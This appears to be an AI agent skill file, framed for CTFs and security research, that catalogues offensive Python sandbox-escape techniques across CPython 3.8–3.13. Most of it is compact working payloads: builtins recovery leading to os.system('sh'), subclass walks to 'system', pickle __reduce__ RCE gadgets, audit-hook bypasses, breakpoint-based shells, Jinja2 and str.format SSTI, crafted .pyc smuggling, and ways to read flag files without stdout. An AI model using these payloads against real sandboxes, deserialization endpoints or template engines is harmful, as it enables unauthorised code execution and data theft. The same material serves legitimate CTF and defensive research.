name: python-exploitation description: >- Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute or character/byte blacklists, recovering builtins after builtins is stripped, exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting or abusing CPython bytecode and code objects, exfiltrating with no stdout, or reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.
Python Exploitation & Sandbox Escape
Overview
Offensive Python: breaking out of eval/exec jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — a sandbox only removes names, never reachability. Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or __globals__ that still holds the real __builtins__ → import os.
The single most common mistake (yours and other models'): hardcoding subclass indices like [104]. They drift across version and import order. Always filter by __name__ / predicate.
When to Use
- An app runs attacker-influenced code through
eval,exec,compile, an AST allowlist,RestrictedPython, or a custom pyjail - You face an import / builtins / attribute / dunder / character / byte / length blacklist
- A deserialization sink:
pickle,marshal,PyYAML,multiprocessing,numpy.load,fickling - Template SSTI in Jinja2 / Mako /
str.format - An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime
- Reversing or weaponizing
.pyc/ raw bytecode
Not for: defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (id()-address and subclass tricks fail on PyPy/Jython).
Routing
| Situation | Starter gadget | Deep dive |
|---|---|---|
__builtins__ emptied |
().__reduce_ex__(2).__globals__['__builtins__'] · print.__self__ · (x for x in()).gi_frame.f_builtins |
pyjail-escape |
() / parens banned |
@exec/@input decorators · hijack T.__getitem__=exec; T[code] |
pyjail-escape |
| dots banned / limited | __builtins__=os then bare system(...) · str.format bare-word subscripts |
pyjail-escape |
| digits / quotes banned | True+True, -~x · chars from ().__doc__[i] · octal "\157\163"=os |
pyjail-escape |
_/dunder/keyword filtered |
NFKC look-alikes (math-italic U+1D400, fullwidth _ U+FF3F) |
pyjail-escape |
co_consts/co_names stripped |
use injected call args (res(vars(), vars)) · __code__.replace |
bytecode-and-internals |
| AST allowlist | types.CodeType / __code__.replace · __build_class__ last-builtin |
bytecode-and-internals |
| opcode whitelist (3.11+) | specialized opcodes + CACHE padding (dis._inline_cache_entries) |
bytecode-and-internals |
| audit hook (PEP 578) | un-audited sink: sys.modules['x']=obj_with___del__;exit(), readline.read_history_file, _posixsubprocess.fork_exec |
bytecode-and-internals |
__import__ banned, stdlib reachable |
catch_warnings()._module.linecache.os · os.environ['BROWSER']=cmd;import antigravity · license._Printer__filenames=['flag'] |
pyjail-escape |
| interactive shell reachable | breakpoint() / PYTHONBREAKPOINT=os.system · code.interact() · pdb via help()→sys.modules['pdb'] |
pyjail-escape |
| arbitrary r/w needed | how2python pure-Python bugs (audit-safe) · _ctypes.PyObj_FromPtr/id()+ctypes (CPython-only, ASLR brute) |
bytecode-and-internals |
| predict "random" / hashes | _Py_HashSecret in_dll · PYTHONHASHSEED LCG · random.seed(bytes) reconstruction |
bytecode-and-internals |
| pickle / restricted unpickler | __reduce__ → (os.system,(cmd,)) · no-REDUCE INST/OBJ · multiprocessing indirect sink |
deserialization-and-ssti |
| Jinja2 / RestrictedPython SSTI | filter-fn __globals__ · str.format {0.__init__.__globals__} + e.obj leak |
deserialization-and-ssti |
| no stdout / closed streams | exit(*open('flag')) · compile('.','flag','exec') stderr · ZeroDivisionError oracle |
pyjail-escape |
reverse a .pyc |
marshal.loads+dis · pycdc/decompile3 · uncompyle6-decompiler RCE |
deserialization-and-ssti |
smuggle a crafted .pyc/bytecode |
MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code) → import x |
bytecode-and-internals |
Universal builtins-recovery ladder (try in order, shortest first)
print.__self__/abs.__self__→ thebuiltinsmodule (any un-banned builtin works).().__reduce_ex__(2).__globals__['__builtins__'](no subclass scan, no index).(x for x in ()).gi_frame.f_builtins— frame attr, survivesdel __builtins__; async:…cr_frame/ag_frame.- caught exception →
e.__traceback__.tb_frame.f_builtins(or.f_back.f_globals). - subclass walk by predicate:
[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']. __builtins__ = os; system('sh')when dots/attrs are banned but a module is reachable.
Top gotchas (the knowledge models get wrong)
str.formattraverses.attr/[key]with no call, and a failed format leaks the last resolved object ase.obj(3.10+). Subscripts in fields are bare words:{0.__globals__[sys]}, not['sys']. Hex-escape\x2e/\x5fin the field dodges./_filters.- Identifiers are NFKC-normalized (PEP 3131); raw input is not → fullwidth/math-italic glyphs beat substring blacklists. String literals are NOT normalized — only identifiers.
- Audit hooks can't be removed, but plenty isn't audited:
sys.modulesinsert (→__del__RCE on exit),pickle/yamlload, plain file reads, and any module imported before the hook was installed. CodeTypepositional arity changes per version (3.8+posonlyargcount, 3.11+qualname/+exceptiontable) — use__code__.replace()for portability. 3.11+ rawco_codeneeds inline CACHE padding or the VM desyncs.find_classis pickle's only real hook;REDUCEhas no callable-side filter, andINST/OBJopcodes call withoutREDUCE.multiprocessing/Queue/ProcessPoolExecutorsilently pickle args → indirect RCE.- 3.13 PEP 667:
f_localsis now write-through → frame-walking becomes a reliable write primitive into a caller's scope. breakpoint()/pdb runs even with empty builtins;PYTHONBREAKPOINT=os.systemmakes anybreakpoint()an RCE.- No-stdout ≠ no-exfil:
exit(*open('flag')),compile('.','flag','exec')(filename echoed inSyntaxError),raise Exception(flag)to stderr, or aZeroDivisionError/IndexErrorchar-oracle.
Each reference file lists exact payloads, version notes, and blacklist-bypass variants.